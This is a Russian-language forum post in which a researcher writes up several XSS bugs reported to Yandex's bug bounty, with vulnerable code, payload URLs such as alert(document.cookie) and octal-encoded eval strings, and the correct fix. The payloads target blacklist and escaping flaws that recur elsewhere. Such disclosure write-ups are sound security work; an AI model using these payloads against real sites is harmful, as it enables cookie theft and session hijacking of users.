Тема: YandexBugBounty
Показать сообщение отдельно
Старый 15.12.2013, 20:22   #9
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

YandexBugBounty

XSS [maps.yandex.ru] /resources/cameras/probki-player.swf (10k рублей)

Параметры callback и player_id попадали в "flash.external.ExternalInterface.call" после прохождения функции validateParam использующей черный список

Код:
internal function validateParam(arg1:String):String
{
  var loc1:*=decodeURIComponent(arg1);
  var loc2:*=loc1.match(new RegExp("<|>|;|\\(|\\)|\\{|\\}|\\#|\\%|\\@|\\/|\\:|\\|", "g"));
  if (loc2 && loc2.length > 0)
  {
    return "";
  }
  return arg1;
}
Так как функция не проверяет символ \ возможно сформировать следующий запрос:

Код:
http://maps.yandex.ru/resources/cameras/probki-player.swf?callback=eval&player_id=\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051

Результат выполнения ExternalInterface.call:

try { __flash__toXML(eval("\141\154\145\162\164\050\144\157\143\165\155\145\156\164\056\143\157\157\153\151\145\051")); } catch (e) { "<undefined/>"; }

DOM-Based XSS [rabota.yandex.ru] (5k рублей)

При поиске вакансий можно "Подписаться на уведомления о новых объявлениях".
В форме подписки фраза "Вакансии по запросу «[user_search]»" отображалась некорректно, в поисковой строке заменялись только первые включения символов < > &.

Код:
(function() {
    function a(b) {
        return b.replace("&", "&amp;").replace(">", "&gt;").replace("<", "&lt;")
    }
    BEM.HTML.decl("b-subscribe-settings-text", {
        onBlock: function(b) {
            b.content([{
                    elem: "title",
                    content: a(b.param("title"))
                },
                a(b.param("body"))
            ])
        }
    })
})();
Правильный вариант:
Код:
return b.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")
Эксплуатация:
Код:
http://rabota.yandex.ru/search.xml/?text=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E

XSS [yandex.ru] (20k рублей)

Переменная site попадала в JavaScript без экранирования обратного слеша.

Код:
http://yandex.ru/yandsearch?text=xxx&site=,alert(document.cookie)])//\&lr=51
Результат:
Код:
Lego.oframebust([/^(\w*\.)*yandex.(ru|kz|by|ua|com)\.?$/, "*.,alert(document.cookie)])//\", ",alert(document.cookie)])//\", "*.yandex-team.ru", "compare.yandex.net", /^(\w*\.)*yandex\.com\.tr\.?$/])




Хранимая XSS [wdgt.yandex.ru] (10k рублей)

После создания своего iframe-виджета title попадал в JavaScript без экранирования обратного слеша.

Код:
widget = Widget.Bind("143283-1", {bla:"bla",title: "\\"});alert(document.domain);//",intid: "143283-1",intclassid: "143283"});window.ya && ya.widgets && ya.widgets.instances && ya.widgets.instances.add( widget );
Результат - хранимая XSS на странице редактирования виджета:
Код:
http://wdgt.yandex.ru/widgets/<widget_id>/
А также, не смотря на сообщение о модерации, хранимую XSS можно использовать в атаках на пользователей используя "Ссылку для установки на Яндекс".

Код:
Например: http://www.yandex.ru/?add=<widget_id>&from=promocode
При открытии ссылки установки на Яндекс JavaScript выполнялся в контексте yandex.ru без необходимости нажатия кнопки "Вы действительно хотите добавить этот виджет?"




Яндекс.Директ XSS (31,337k рублей)

Логика работы Яндекс.Директ:

1) Загрузка скрипта-лоадера http://an.yandex.ru/system/context.js

2) Загрузка нужной версии основного скрипта http://an.yandex.ru/resource/context_static_r633.js

3) Отправка запроса
http://an.yandex.ru/page/<page_id>?target-ref=<referer>&charset=utf-8&grab=..&callback=Ya[1379305496812]

Где target-ref - текущий location.href страницы, на которой установлена реклама от Яндекса

4) Ответ

Код:
Ya[1379305496812]('{ common: ..., direct: {  ads: ...,  linkHow: ...,  
linkAll: {title: "Все объявления", 
url: "http://direct.yandex.ru/search?from=http://example.com/?x=\x22\x2balert(1)\x2b\x22&ref-page=108290"  },  directTitle: ... }}')
В возвращаемом ответе <target-ref> использовался без экранирования обратного слэша.

5) Таким образом, при таком запросе
http://example.com/?x=\x22\x2balert(1)\x2b\x22
страницы, на которой расположена реклама от Яндекса, по сути выполнялся следующий JavaScript в контексте этой страницы:

Код:
s = Function(
  'return 
    {common:
      {linkAll:
        {
        title:"Все объявления",
        url:"http://direct.yandex.ru/search?from=http://example.com/%3Fx="+alert(1)+"&ref-page=108290"
        }
      }
    };
')();
То есть были подвержены любые сайты, на которых была расположена реклама от Яндекса.





Ну и как бонус, не хочу создавать новую тему:

FoxyCart RCE
http://www.foxycart.com/security-contact

Без комментариев

Изображения
   

Последний раз редактировалось BlackFan; 15.12.2013 в 20:31..
BlackFan вне форума   Ответить с цитированием